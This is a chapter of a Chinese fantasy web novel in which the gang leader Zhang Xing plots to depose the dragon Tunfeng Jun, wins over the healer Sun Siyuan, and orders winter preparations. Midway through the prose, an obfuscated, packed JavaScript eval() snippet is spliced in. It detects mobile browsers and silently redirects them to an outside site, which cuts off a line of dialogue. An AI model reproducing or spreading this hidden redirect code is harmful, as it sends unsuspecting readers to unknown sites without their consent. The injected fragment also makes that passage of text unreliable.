想到这里,张首席便也失笑点头:“既然你们夫人用心良苦,那我就成人之美,你去做樊梨花头领营中做个首席队将便是。” 李清洲扭捏了一下,拱手而退。 只能说,总算不磕头起外号了。 接下来,眼瞅着宇文万筹还要往里带人,张行直接抬手制止,然后来问身侧许敬祖:“是不是北地人人都知道我们要黜真龙了?” 许敬祖想了一想,正色道:“首席,吞风君在北地,堪比苦海兴山,屹立不倒数千载,而几千载中,既有崇拜祂到处立庙的时候,也有说祂夺北地地气要兴师讨伐的时候,所以说,只要北地人知道我们要去天池,自然是晓得要与吞风君不善,不过,即便是他们晓得,也不一定是从我们这里泄露的……而且说句荒唐的话,说不得有人看了我们黜龙帮的名字便有了猜度呢。” “这倒也是……”张行点头认可。 “不过属下以为,若是真要计较起来,麻烦也是有的,却未必是咱们这里。”许敬祖继续言道。“首席,想那吞风君是修行不知道多少年的真龙,神智不能用野物比较,若是祂知道了我们要黜落祂,会不会有所防备呢?所以,怕只怕有信奉祂的或者对咱们怀了恶意的人直接去告知祂,让祂有了防备……” “这倒不必计较。”张行摆手道。“从那吞风君几次**来看,祂是早知晓我这种黑帝点选路数的,而这种情况下大司命还提出这个要求,便是说明另有缘由……我问这个,也只是担心谣言不断,会闹的人心波动起来。” “确实如此。”许敬祖立即颔首,然后又犹豫了一下,继续问道。“不过首席,那恕属下冒昧,若是吞风君晓得我们熟路,那便说明之前许多黑帝点选都败了……咱们又凭什么能赢呢?是不是应该慎重一些,比如全取天下后再集中七八位大宗师一并来黜真龙?” 张行摇头:“道理似乎是对的,但这些年我也察觉到了,只怕黜龙与夺天下本就是纠缠在一起的……你想想,大魏三征东夷与那避海君之间是不是这个道理?又焉知曹彻没有想过灭了东夷后以陆上至尊的名义号令天下宗师一起来灭吞风君呢?至于我们,既用了这个名号,恐怕更加躲不得。” 许敬祖思索片刻,也只能点头:“确实。” “还有什么人?”回过神后,张行忽然又来问门口的宇文万筹。 “有不少人,十三个团首,七个中郎将,还有两位伯爵……”许敬祖抢着做答。 “伯爵?” “东齐时才设置的,用来分观海听涛这两个最富镇守府权责的,现在基本上已经沦落到等同于这两镇的民政官……” “不见了。”张行想了一想,摆手道。“宇文头领,你带他们去找天王和白总管,许头领,你也不要处理这些事情了……去黑水卫,找大司命,不是问陆夫人的事情,这个不要管,而是找大司命做一个上天池的具体方略来。” “晓得。”许敬祖精神一振,立即就去做安排了。 宇文万筹也一拱手,匆匆去了。 人是被自己赶走的,可接下来张行却一时不知道该做什么好。 不过很快,他的注意力就被这听涛阁外的波涛声所吸引:海风呼啸,卷起无数波浪,全都滚在了这听涛阁下方的海岬峭壁上,海浪的扑打声与海风的呼啸声一上一下一粗一细汇聚在这石头厅堂内,让人一下子就明白过来,为什么这地方明明是个石头堡垒,却有着听涛阁这么雅致的名字了。 继续听下去,一开始还只是浑浑噩噩,但不知道从什么时候开始,就渐渐入了神。非但入了神,张行还感觉自己身边本能调度的真气在发生变化,这是一种类似于液体变成雾气一般的变化,真气很快就弥散开来。 非只如此,一起伴随着真气散开的,还有他的神识,现在他能够更加清晰的察觉到整个听涛阁内那些修为较高之人的动静。 他“听”到了白有思在下令斩杀一名想攀关系的伯爵;“看”到了雄伯南在拉着手劝一名团首投降,而魏文达在旁努力说着什么;随即,随着那名团首点头应许,他又随着魏文达“走”了出来,然后遇到了立在外面走廊上的牛河,察觉到二人陷入到某种社交尴尬中;甚至,随着他将注意力转移到李定那里,他居然隐约“读”出了李定手里的一封信,似乎是他留在武安的心腹下属在求救,因为后者认为,黜龙帮张首席已经开始趁着黜龙帮席卷身后之势开始对武安集团下手了。 这还不算,随着神识与真气的继续扩展,很快就联入到了下方海岬旁的波涛内,然后又随着海浪的往返不停地往返,而在这个过程中,好像遇到了什么放大器一般,很快,张行能感知的地域就不只是一个区区海岬了,而是扩展到了整个黑水口。 继而是整个北地北部海岸线与对应的几条河流的轮廓。 这里面最特殊的就是黑水河,因为当波浪卷着丝丝真气倒灌入河口时,那些细微的真气几乎瞬间就被吸入进去,然后便丧失了感知,就好像雨水落入深不见底的水潭中一般——整个黑水河,都在“视野中”变成了这种黑洞。 波浪继续鼓荡,终于,张行的感知越过了海面和地平面,抵达到了整个北地的内陆。 到了这个地步,他第一时间便朝着之前便隐约察觉到的天池方向而去,尝试寻找到吞风君的踪迹,但不出所料,整个大兴山脉,从南到北,都在感知下显得模糊与杂乱,仿佛是穿越前小时候看的黑白电视机雪花信号一般,这与黑水河的深邃形成了鲜明对比。 倒是西面的苦海,居然很难察觉到什么异常,委实让人难以理解。 也就在张行准备放弃大型山脉与苦海,细细“看一看”北地地理时,没有什么预兆的,也没有感觉到什么突然性,感知直接便收回了,就好像睡了一个午觉,自然清醒一般。 醒过来以后,张行细细回顾与感受,并没有功力大涨,也没有什么空灵感悟,同样也没有什么悚然而惊之类的心血来潮,可是怎么想都该晓得,这个级别的感知扩散绝不是什么北地主人尽得地气那么简单……在河北,他能隔着几十里模糊察觉到几万部队和宗师就算不错了,哪里能跟这次相比? 对此,张行也只能瞎猜,莫非黑帝爷给自己预留的观想对象正是大海?而这黑水口的观海听涛二镇便是自己“注定”得道的地方?好像确实有传说,此地正是黑帝爷开悟到一定境界的地方,只是不晓得是大宗师还是宗师了。 心中胡思乱想,却不耽误他察觉到有人到来,而且修为不浅,这似乎也是自己自然醒来的缘由……而过了片刻,白有思、牛河、雄伯南、魏文达等人也才依次往自己这边过来……不过他本人依旧纹丝不动,状若无感。 须臾,随着白有思与牛河先来到门外,一名腰间叮当作响的黑衣文士也凌空踏风而来,却直接落到边廊上,然后走了进来,正是金戈夫子的逆徒刘文周。 后者还未正式进入听涛阁的大堂,笑声便先传来:“张首席感觉如何,这听涛阁果然如传闻那般对修行有益?可到底是对弱水真气有益还是对黑帝爷点选有益?我试了几次,总是不行。” 张行摇头以对:“只感觉恍然一下,失神许久,似乎是北地尽入手中,模糊感觉到了一些地气,察觉到了一些北地的地理形状,并不察觉到修为如何……” “也是。”刘文周丝毫不管四位宗师此时一起聚拢过来,只是继续感慨。“张首席是黑帝爷点选,最开始便能**夺气,这气夺的轻易了,这种修行契机便不以为然了,甚至可能是丹田内真气存的太多了,增加一些也无感,不像我们这种苦哈哈,一开始筑基都要靠机缘……穷人家,哪里晓得什么是通衢大道?” 牛河惯例落在了门内边缘位置,自然没有开口,魏文达新降之人,也没有插嘴,而雄伯南板着脸,居然也不吭声。 不过,白有思倒是直接进行了驳斥:“刘公这话对着我们黜龙帮来说未免显得苛刻,须知道,让穷人家孩子筑基的事情,这天下就我们一家来做。” 刘文周一愣,依旧笑嘻嘻着要说什么。 孰料,这边张行也接过话来:“说得好!由此看来,刘公与我们黜龙帮不光是一个向上黜龙的志向相合,便是底下让人人成龙的志向也相同,那如今既然相遇,何妨就此入了我们帮中?黜了吞风君,还有分山君、避海君,还有没见过的呼云君,一并黜完了,还可以继承张世昭张公的位子,来监督天下少年筑基,也算继承了尊师金戈夫子的遗志!” 这话一出口,别人倒也罢了,雄伯南居然先尴尬起来,而且是场中唯一尴尬之人。 至于刘文周,其人仰天来笑,笑了好一阵子方才摇头:“张首席,人人成龙,何其谬也?天下真气便是日有所增,也不过是推陈出新,供养几条新龙……若非如此,我何必向真龙来寻前途?” 张行也笑了:“如此说来,刘公是铁了心要做新龙了?” “当然。”刘文周昂然做答。“张首席你呢?你莫非不求成新龙?” “人活一世,总要有些志向。”张行也昂然做答。“既有至尊,我自然要试着证至尊,怎么能停在一条龙的份上呢?” 刘文周一愣,嘴角终于没了那股子让人厌恶的上翘,转而肃然:“怪不得张首席这般举止……但人贵有自知之明。” 张行撇了下嘴,终于没有再继续下去这个话题……其实,刚刚白有思也不想开口的,只是担心雄伯南这个知情人太实诚,所有人面对如此轻易便能驳斥的话题却不说话会引来猜疑,这才主动充当了这个质疑的角色。 而现在,稍微说了几句之后,张行确定,恐怕所有人都展露对这厮的厌恶,才是最合乎情理、最不会暴露真实态度的应对方式。 一念至此,其人主动来问:“如何,刘公去而复返,是有完全计划了吗?” “计划什么的自然早就准备好了。”刘文周盯着坐在石座中纹丝不动的张行看了片刻,方才低头干笑了一声,然后摸着腰间的瓷瓶来答。“我在此地数年,只说计划,早就不知道盘算多少遍了,也尽量寻了能用之人,便是今日离开的大司命也曾当面讨论过此事……只不过,我原以为你们会耗费些时日才拿下陆夫人,不料张首席好手段,这般轻易破了局,便也匆匆过来了。” 张行面色如常,直接点头,等待对方叙述。 刘文周明显视此事为生平之要害,自然也直接进入了主题,但却先做了发问:“诸位,你们既与分山君交过手,那敢问,你们觉得对付真龙最要害的是什么?” “不能让祂飞起来。”白有思脱口而对。 “诚然。”刘文周立即点头。“但如何让祂飞不起来?” “之前所见,乃是东夷大都督用了个类似伏龙印的玩意,消了祂的真气。”张行接口道。 “我这里没法消祂真气。”刘文周似笑非笑。“但可以锁住祂,而且让祂不能借用存在天池下方的真气……” “用寒冰之精封住天池你已经说了,可祂存了真气是什么意思?”张行蹙眉来问。 “大司命没跟你们说吗?”刘文周反问道。 张行无奈道:“大司命匆匆而来,匆匆而去……刘公来的太快了。” 刘文周笑了笑,丝毫不忌讳脸上得意之色,便做解释: “吞风君这条龙,贪而滑,狠而蛮,祂不是青帝爷开化后修行到位的真龙,而是自古时候便不知道从哪里冒出来的天生真龙,按照黑帝爷的说法,这其实是‘魔’…… “有一个传说,我是比较相信的,当日祂是得了青帝爷提点,晓得黑帝爷将来成就,故意在神仙洞等着黑帝爷,做了结交,然后骗取了黑帝爷一时信任,占据了大兴山,后来黑帝爷得了尊位,反应了过来,却受制于身份和承诺,这才对祂恨之入骨,欲除之而后快。” “这个事情大司命倒是说过。”张行立即点头。“青帝爷这事做的太顺手了……” “问题不在至尊这里,而在于吞风君为何要求大兴山?问题在于祂献出神仙洞这种地方,想保的又是什么地方?”刘文周摆手以对。 “天池吗?”白有思当然猜到了答案。“天池有什么?” “如果我没猜错,那里有地火。”刘文周肃然道。“祂吞地火而呼寒风……吞风君这个名字,其实是个错位……寒冰真气确实来自于祂,却不是祂本源,而是祂吞地火产生的结果。” 这个说法倒是有些耳目一新,尤其是联想到当日葫芦口见吞风君时对方那火红色的眼睛。 “吞地火有什么用?”张行不由来问。 “我的猜想是,祂是为了锁存住更多真气。”刘文周继续言道。“对于吞风君这种天生的真龙而言,祂们本就是生灵感真气所化,什么恩怨情仇都是虚的,只有真气对祂们来说是根本,是一切,体内不能存住更多,便要追求与天地合一,用天象的方式锁住更多真气,所以才会有呼云吞风……如果天池下面有地火的话,那祂想做的,应该是通过吞取地火与地下火渐渐合一,然后将自己攫取的真气存入火脉,求得与天地同寿,求得万世逍遥。” “我懂阁下意思了。”张行想了一想,尝试总结道。“若吞风君是以天池下地火为修炼和存身的根本,你手上有真龙精血与寒冰之精,我们借着真龙精血掩护上去,直接用寒冰之精锁住天池……既是阻隔了祂数千载存放的真气通道,也是坏祂根基,祂必不能忍,必会在天池与我们周旋,而祂既断了与天象联结,身上的真气也是有限的,我们就在天池这里耗祂,等祂真气渐少,就对付一只异兽,是也不是?” “若是我猜的对,比这个其实要轻松许多。”刘文周解释道。“一则,你也是黑帝爷的点选,去过天池的,应该知道,那里水深不见底,我们摸上去,使用寒冰之精,若行的快,祂反而要在池中被寒冰冻住,更容易对付; “二则,我在这里数年,见山上寒冰真气往往杂乱,很可能是祂贪婪过度,不能稳定所吞地火,所以对应呼出之风也乱,而且祂平素往来大兴山南北,总是及时回天池,虽说祂天生喜欢天池,却也未必没有体内地火不稳,需要天池**的缘故,若这样的话,我们只要控制住天池,便是祂万一挣扎出去了,也撑不住许久,只能回到天池与我们相决!” “可是……这些都是阁下的猜度。”张行其实心里已经信了几分,但想了一想后,还是认真驳斥道。“万一没有地火呢?而且,你的寒冰之精真的那么厉害,可以封住真龙,断绝地火?” “可以先问问大司命嘛,至于寒冰之精,封住真龙真不好说,可断地火是它的本业,必然能成。”刘文周摊手道。“至不济,我猜的都是错的,事不能成,咱们逃下来再做计划便是……张首席,我十年辛苦,绝不会拿自己开玩笑。” 张行点点头:“道理是如此,我也信得过阁下,可还是万全为上,以防轻易抛洒了我们帮里的种子。” “张首席!我晓得你要证至尊,所以要仁爱!可做这种事情哪里能计较些许牺牲,慈不掌兵我不信你不懂!”刘文周有些没好气起来。 平心而论,对方说的很有道理。 对付吞风君这件事情,无论从哪个角度来说,都是有充足理由的,最起码一个,这是你合并荡魔卫的最核心条件之一,你不能不认账的,否则后续荡魔卫闹起来怎么说?**信誉破产了怎么办? 其次一个,黜龙这事本就是黜龙帮意识形态下该做的事情,甚至从统治角度来说,也没有理由放过霸占了自己心腹之地最大山脉的魔龙,杀了魔龙也足以迅速震慑住整个北地,方便李定整合军事力量。 更不要说,刘文周和荡魔卫的提醒还明确告诉了黜龙帮上下,黜了这吞风君,大家一起涨修为,本身也是有直接益处的。 所以,上天池对付吞风君,根本就是一场应该打也必须要打的仗,死伤牺牲都不是一个统帅应该过分考虑的。 只不过,这话从刘文周嘴里说出来,不免让张行觉得刺耳罢了。 “说得对!”张行立即点头。“无论如何都要上天池的……刘公还有什么补充的吗?” “没什么补充的。”刘文周昂然道。“要是你能调集兵马的话,咱们现在就可以去!” “现在还真不能去。”张行笑道。“我们这里最起码要等到冬日,冬日下雪,消息隔绝,我们才敢将大部分战力集中到这边,否则被东都和西都知道,说不得要趁虚来攻的……而且我们也要尽可能联络汇集一些高手过来……刘公,我已经遣使者去见大司命了,你也去,咱们都是要黜龙的人,问清楚要害原委,你们就在黑水卫那里建立一个基地,制定一个计划,而我趁着冬日未至,再走一趟河北,安排好南面的事情,亲自再见一见千金教主,这种事情,若能多一位大宗师,总是极好的。” “这是自然。”刘文周似笑非笑。“便是千金教主拿乔不愿意出手,总能做个医生,替咱们治个伤。” 张行也笑了笑,干脆催促起来:“那就劳烦刘公先行一步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168022|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 刘文周看了看一直没说话的雄伯南等人,撇了下嘴,也不拱手也不说告辞,直接便走到外廊,当场凌空而起。 人走了许久,连魏文达都意识到氛围主动离开后,雄伯南方才开口解释:“既知道将来要对付他,我实在是做不了与他周旋。” “不要紧。”张行摆手道。“刘文周自己心里明白他那副姿态会得罪人,只是故意要看我们反应让他痛快罢了,我们也没必要装的太假……天王,有件事情要拜托你。” “首席请讲。” “我们要安排李龙头在北地常驻,整饬一支兵马过苦海,而要整饬这么一支大军,就需要我们黜龙帮原本的精华参与控制,可现在的问题是,原来武安行台的人未必愿意来北地,而且官兵立场都不一样……待会我要下令,全军在北地冬营,而我要你去军中,不止是武安行台的人,而是所有到北地的三十余营,问清楚他们官兵的态度,整理出一份名单来,开春就要用。”张行认真嘱咐。 “我明白。”雄伯南明显振作。“需不需要我做劝解和说服?” “暂时不需要。”张行认真道。“讲清楚我们安排,告诉军官留在北地不会被弃用这一件事就好……其实,从建制上来说,肯定要在北地建个二三十营,兵员也肯定要从北地起,没必要求全责备。” “好。”雄伯南明显有些释然之态。“这事我保证做好,三十七个营,外加多出来的零散头领,只要没在天池上受伤,我保证在开春前挨个走完。” “那就好。”张行说完,再去看白有思。“白总管,你的任务跟之前在河北一样又不一样,先是人事,这次是跟李龙头、天王一起商议,把北地南部、西部除了荡魔卫的地盘外的人事整理清楚……原则上多做调换,让北地人出去做官,让河北跟河南人来北地做官,务必流动起来;其次,做好靖安部的职责,把本地的势力弄清楚。” 白有思点点头,没有多说什么。 而张行稍作迟疑,复又来问两人:“李定在哪里?刘文周这么大动静,为何没有过来?” 雄白二人面面相觑。 张行无奈,只能点头。 当日不提,又过了两日,张行正式召集就在观海听涛二镇周边的大小头领,包括暂署的降人头领,下达了一系列的军令以及人事安排: 全军即刻准备冬营,建立营寨,筹备过冬物资,准备在北地过冬; 以雄伯南为主,连同李定、白有思,检验军功,核查北地军民人事安排; 以李定为主,负责军事要务,制定和分派防区,**叛乱,追击叛军残部; 以白有思为主,负责北地靖安善后事宜,检查、梳理北地地方武装势力,预备收编与**; 以贾越为主,组建一支工程器械营,尝试制作**车与投石车; 以许敬祖为主,负责荡魔卫联络事宜。 简单安排完毕,刚刚进入北地才两月的张行复又启程,再一次离开北地,往河北而去,而这一次,他连踏白骑都没带,只是让尉迟融带领百骑护卫随行而已。 走到鹿野泽,就明显变冷了。 来到铁山卫稍驻,不过是八月中旬,他们居然就见到了北地这一年的第一场雪……雪花很小,却预示着北地一年一度的隆冬即将开始。 当他们越过掷刀岭,来到河北的那一瞬间,几乎相当于从冬日又回到了秋日一般。 回到邺城,天气依然暖和,张行在此地停留了好一阵子,公开参与了很多活动,包括召集新一届科举通过者在观风院设宴请人家吃炸肉丸子,包括去看望新一年强制筑基的少年(这一年人很少),还慰问了伤员,检查了许多部门的工作,甚至还处置了一大批人。 具体来说是温和的清洗了武安行台里的李定旧部,许多暗地里发牢骚的人都被直接点名,然后平换到了河南、幽州、登州各处,彻底丧失了**团体的向心力。 至于说名单怎么来的,这就要问李定李龙头了,张行离开观海镇前对这位北地战帅说,要么主动提供名单,然后他只平调相关人员,要么他回去查,抓到一个弄死一个。 然后李定就提供了名单。 折腾了一个多月,随着邺城也开始入冬,张行放弃了吃炸面团的好日子,只与刚刚抵达邺城的谢鸣鹤一起在尉迟融的护送下又过河去了河南。 随即,他例行拜访了东郡、济阴的头领家眷们,又往历山祭祀了死者,然后终于**中旬,抵达了涡水畔,来到了昔日战场上建立的医学院与医院,见到了千金教主。 实际上,如果非要计较的话,这才是张行此番不惜千里奔波二度南下的真正缘由——千金教主孙思远不愿意去北地黜龙,张行在进入观海镇前两日就得到了这个消息。 “孙教主为何不愿意北上一行呢?”涡河畔医学院中,建在一处高台上的屋舍门前,张行等到了授课回来的孙思远,却连起身都不愿意起身,直接开问。 孙思远笑了一笑,放下手中一个盛满了药材的筐子,从容落座,稍作解释:“张首席何必逼我?咱们不是有言在先吗,我们不参与各方势力之间的争斗,只是救人,谁都一样救。” “那说的是人,这吞风君不是人!”张行强调道。 “便不是人,也是跟人有关的……张首席,老夫到底是做过真火教教主的人,如何敢去北地在荡魔卫大司命的眼皮子底下来黜人家黑帝爷座下真龙呢?”孙思远继续苦笑。“怕是去了就回不来吧?” “若是这般说,”张行微微蹙眉。“我路过幽州的时候亲眼看见窦龙头让人在幽州桥畔立您的千金碑,也未见去武安大黑帝观的荡魔卫队伍砸了您的碑呀?两家真的这般势如水火?” 孙思远一愣,也不好再装傻:“张首席说的极是,老夫能在这把年纪再寻一条证道之路,是受了黜龙帮不少恩惠的……老夫也知道,这件事不是去对付黑帝爷和荡魔卫,而是帮助黑帝爷疏通内里,但越是如此,老夫越是难做,因为老夫我到底是真火教出身,是赤帝娘娘恩义所及,之前离开南边,就已经怒了娘娘,断然不敢再去惹她生气。” 话到这里,似乎已经说**,赤帝娘娘的脾气,人尽皆知。 “就为这个?”张行想了一想,反而失笑。“为了至尊脸面?” “荡魔卫助你黜龙,不惜合并基业,不也是为了至尊脸面?”孙思远无语一时。 张行再度笑了笑,忽然换了话题:“说起南方,孙院长晓得最近南方形势吗?” “愿闻其详。”孙思远犹豫了一下,他知道这话里必然还有扣子,但终究不能遮掩住自己的牵挂。 张行没有直接开口,而是看向了一直没说话的谢鸣鹤。 “孙公,萧辉称帝了。”谢鸣鹤单手摊开来道。 “这当然知道。”孙思远有些无语。“他本是南朝里萧朝的后裔,之前不称帝只是因为你们黜龙帮没有立国主,现在有了国主,自然迫不及待。” “那孙公知道他一口气封了九个王吗?”谢鸣鹤盯着对方继续来问,其人口中寒气化作白烟在身前消散。“而且每个王都不是一个姓?” 孙思远一愣,苦笑半晌无语。 “我在北地的时候,使者去了一趟,萧辉就称帝了,然后邺城那里不放心,让谢总管以绝交的名义又走了一趟江都,亲眼见到了萧辉和他的那些王们,结果原本要去绝交的谢总管反而临时改了主意,自己写了一封贺表……而回来后,包括我在内,没有任何人反对,都觉得他处理妥当,您又知道为什么吗?”张行也接口来问。 孙思远已经麻了,但徒子徒孙都在那个什么萧梁政权里,只能硬着头皮来问:“为什么?” “很简单,小子在江都看的清楚。”谢鸣鹤捻着风中摇晃的胡须冷笑道。“萧梁这个朝廷,与黜龙帮恰恰相反……黜龙帮自称帮会,其实内里比谁都整备,比谁都讲制度,甚至真要说继承大魏制度最多的,也恐怕是我们这个帮会才对;而萧梁那里,表面上是个朝廷,其实内里反而正是个草莽帮会,其人自一县令至此,全靠江西、湖南、江东的势力支持,湖南的豪强,江西的水匪和真火教,江东的世族,每一个都是自行其是……非要说他像极了黜龙帮建立时的样子也无妨,只是不晓得为什么这么多年一点都不能改好。 “而我之所以改换贺表,也是因为我晓得,只要这帮子人没有能耐再扩张,接下来,必然会自相残杀,而萧辉根本不能阻止,甚至也会参与其中……萧辉这个人,非要我做个评价,其实像极了李枢,只是能耐、私德全都不如李枢,反而是不能容人学了个十成十,就这,他还问我张首席的修为如何?问魏国主有何过人之处?还对我说,若是张首席与魏国主内讧了,我随时可回江都,愿以王爵相与。” 孙思远只能不停叹气。 张行接过话来,继续言道:“这个内囊,不光是谢总管一眼就看出来,就连淮南的杜破阵杜龙头也察觉到了,早早主动与江都伏低做小,就是要等着他们无法扩张,内里自乱……孙教主,恕我直言,萧梁这帮人,必败无疑,甚至不用我,给你见过的杜龙头足够时间,他也能尽取淮南,窥探江左的。” “所以,张首席是什么意思呢?”经历了太多真火教内乱的孙思远实在是听不下去,只能让张行进入正题。 “很简单,张教主,你是大宗师不错,但大宗师不止是要往上看,也还得顾虑着下面……赤帝娘娘的脾气我们知道,但是你就不想着为真火教将来做考量吗?”张行认真言道。“只要你随我北上助此一阵,无论成败,将来不管是萧梁内乱真火教的人逃出来,还是我们直接打了过去,便有一个赦免和接纳的说法……你觉得可行吗?要我说,保留了真火教的香火,反而维护住了至尊最大的脸面。” 早就立志救人不做杀戮的孙思远无可奈何,只能点头……这倒也无妨,毕竟,此举本意还是为了救人。 唯独子孙不肖,便是身为大宗师又如何呢? 曹林躲得过吗?还是白横秋躲过去了? 只能点头。 PS:先是感冒鼻塞,然后中作协叫开会(我也不是作协成员也不知道为啥),两天在山沟里,加上往返飞机,连续三天加重,回来后直接荨麻疹,从脚面到嘴唇全都是红斑,红斑退了又开始咳,低烧…没完没了。 第六十八章 **行(11) 初冬时节,北风再起,河北、河南都开始降温,一些小河开始结冰。 按照传说,这一切都是吞风君造成的,祂是黑帝爷座下排名第一的真龙,听调不听宣的那种,受封整座大兴山脉,可以毫不避讳的显露真身与威能,这是因为祂有着一个特殊的职责,那就是在每年冬天,要将大兴山上的寒风驱到整个天下,使一年四季得以轮转。 甚至有人说,在北地广为流传的寒冰真气源头也是祂,祂总是会吞入过多的寒风,然后在体内变成寒冰真气,以此来做冬日冷热的调控。 不然的话,连江南都要冰封。 而张行现在知道,事情的真相可能不是这样的。 但也未必不是这样的。 北风中,张首席开始今年的第三次向北进发,这一次的声势跟前两次没法比,不过是尉迟融带着百来骑而已……宗师来战儿没来,他的热情与血气已经葬送在了曹彻的时代,或许将来还能养起来一些血气,但也是以后的事情了。 外务总管谢鸣鹤也没有随行,他直接从涡水出发去了南阳,然后还要去东都,这是因为黜龙帮,或者说刚刚成立的大明要与大魏商议续约的事情——虽说距离三年不战之约还有一年半的时间,但总不能挨着年限再谈续约吧? 至于说大明是不是诚心要跟大魏和平相处一百年,那就得看谈判过程了。 当然,大宗师、千金教主孙思远带着几十名新弟子随行,到底壮了人心。 回到眼前,张行等人正式北上,却并没有匆匆赶路……实际上,他们刚刚启程,就在济阴这里稍作停顿,因为张行发现帮内地位颇高的曹总管正在这里处理一件让他感兴趣的临时公务。 事情很简单,北地送来了一大批皮货,请求济阴这里给做成帽子。 “要做多少顶鹿皮帽子?”济阴郡府的公房内,张行认真发问。 “四万顶。”曹夕立即给出详细答复,同时忍不住瞥了眼坐在公房远端的白胡子老头。“是小苏头领发的文书,给了大约五万顶帽子的材料,多的算是给我们部中的酬劳。” “四万顶是二十个营的列装,他这是给明年北地西部行台正式编制做的准备。” “自然……真要是一个营要这么多东西,徐总管也不会批准。” “你们什么时候能做出来?” “这个月内就行。”曹夕回答迅速。“首席上次回来时有过交代,明年扩军可以按部就班来,所以今年冬天委实清闲……” “若是放开来做……不是说帽子……只是说置备御寒衣物,济阴这里两个月间能做多少?” “若是做军中列装,且济阴这里不做临时雇佣的话,五万顶帽子,加三万套军衣,便到拼了命的极致了……冬日做活不比春日。” “若是临时雇佣呢?” “临时雇佣的话就好办了,把料子发给河南三郡家中有公务或者牺牲的户口里,一个村一个里去两个帮忙照看的女工,做好了给钱收回来,我们能在两月内做十万套军衣……不过这要户部专门拨钱,而且现在仓库里的布料虽然很多,御寒的毛皮却不足,非要做冬装的话,不是不行,却要患不均。” “若是不计军装,只说御寒呢?” “咱们的军士其实不乏御寒手段……”曹夕迟疑了一下,然后又看了一眼那位宛若寻常游方道士一般的白发老头,很显然她已经意识到了一些情况。“首席担心的到底是什么?” “今年冬日帮里要趁各方不备去讨伐吞风君,无论成败,总得计较一下天象,万一今年冬日格外冷呢?”事到如今,张行也没有再继续遮掩计划,曹夕也成为事情相关人员之外第一个龙头以下的知情人。 当然,从张行开始询问御寒这件事情开始,某种意义上来说,她也是这件事的相关人员了。 而听到这般惊天的讯息,曹夕居然没有失态,不过是停顿了片刻,便尝试给出相关方案了:“若首席担心今年冬日太冷,只是想着百姓御寒,倒不必计较冬衣,依着属下来看,现在最简单最有结果的法子其实是糊墙。” “糊墙?” “用稻草、麦秸和泥,然后配上芦苇杆修补房舍,才是最合适的法子。”曹夕继续解释。“咱们仓库里除了秋后当税赋收上来的布帛,还有大量的芦苇杆和麦秆、稻草……原是为了存着做燃料和喂牲口的,此时正当用。” “能大庇天下寒士俱欢颜吗?”张行不由笑道。 “当然不能。”曹夕也笑了。“只能庇河南河北的寒士……首席,其实咱们今年之前的旧领并没有多么虚弱,尤其是您去年强行押后了半年没有动手,使得民政铺陈得力,旧领之中,若是不计孤寡,便是最穷困之人,在授田制下安稳了数年,又怎么会在冬日冻僵呢?最多是民力贫乏,不能修缮房屋而已。” “所以帮他们糊上房子。”张行含笑颔首,同时不由自主的想起自己来到这个世界后落脚的第一个村庄,彼时自己干的活就是帮人补房子。“然后孤寡聚拢一起安置?” “是。” “那咱们今年的新领呢?”张行继续来问。“北地不算,幽州、河间、晋北……怎么说?” 曹夕深呼了一口气,脸上笑意也消失:“那就只能尽力而为了……这些新入之地若真要顾忌寒灾,与其细碎补救,不如尽量调配些大宗物资过去,做整体援护……粮食、柴火、衣物,都要。” “好!”张行闻言反而大为赞赏。“你有自己想法更好!帽子的事情先放下,咱们现在一起去邺城,我当着陈总管和魏国主的面做个交代,你来负责冬日防灾的事情,我让其他各部都配合你。” 曹夕不是个往外推事的人,自然点头。 不过,其人还是没有忍住,问了一个刚刚便压在心里的问题:“首席,咱们帮里许多人都随你与白总管在落龙滩亲手刺过龙,应该晓得真龙底细,这一次要黜吞风君,果然有把握吗?” 张行再度失笑:“其实情况很简单,若是按照与分山君、避海君交手的经验,再以常理推算,咱们对上吞风君应该是有充足优势的,只不过,只有一次经验,而且咱们是一群人与真龙作对,不是军阵对军阵,所谓常理本就不存在,若是强说把握十足不就显得自以为是了吗?” “这倒也是。”虽然是不确定的答案,可曹夕依旧松了口气。 “所以要多做些准备。”张行也给出了自己的道理。“但又不能过度反应,反过来阻碍作战。” 话到这里,张行回过头去,看着旁听了整场谈话的孙思远,给出了最后的判断:“不管如何,咱们又多了位大宗师,优势在我们!” 孙思远张了张嘴,最终没有在这个屋子里说一个字。 队伍再度启程,这一次行程稍快,迅速抵达到了大河畔,而来到这里,张首席却再度起了幺蛾子——渡河后,他让人摆起桌案,放了一些简易的饭食,寻来一些香烛,就在渡口准备祭奠大河河神。 而这个尴尬的项目很快遇到了现实问题。 “大河河神是哪位?”张行认真来问周边人。 然后他就得到了不下十个完全不同的答案,有人说是祖帝,有人说是唐皇,有人说是大魏开国的那位,还有人说是东齐神武帝,甚至有人说谢鸣鹤谢总管的祖上……只能说,多数说法都是在这大河畔有过英雄事迹,被认为死后可能登龙的英雄人物,而且集中在四御列位后记载明确的这千年间。 倒是尉迟融给出了一个比较特殊的答案:“俺们那边都说,大河现在肯定没有真龙附着,因为一定是黑帝爷亲自掌管。” 寒风中,张行迟疑了一下,扭头来看孙思远:“孙院长,你觉得呢?” 孙思远沉吟了片刻,给出答复:“大河是天下最关键的一条河,是天下万河之盛,若无至尊做干涉是不可能的……譬如大江那边,确系是赤帝娘娘看管,汉水则是白帝爷杀真龙以定势,淮水则是青帝爷落真龙而自取……所以,此间便是有真龙藏着,也一定是至尊应许,或者干脆从属至尊。” “既不晓得到底是谁,那就一并祭祀吧。”听到这里,张行倒是干脆。“黑帝爷为主,祖帝以下,记着名字的都刻个牌位,一起来祭祀……取木牌来,我自己刻!” 张首席的习惯作风,众人自然无话可说,赶紧在曹总管的指挥下忙碌起来。 须臾片刻,木牌到手,张行掏出金锥便来刻字,却又想起一事,便头也不抬,一边刻字一边好奇来问:“孙院长,既然大江是赤帝娘娘看管,为何当年杨斌能顺流而下,将你们真火教打的稀碎呢?还顺便证了大宗师,是也不是?” 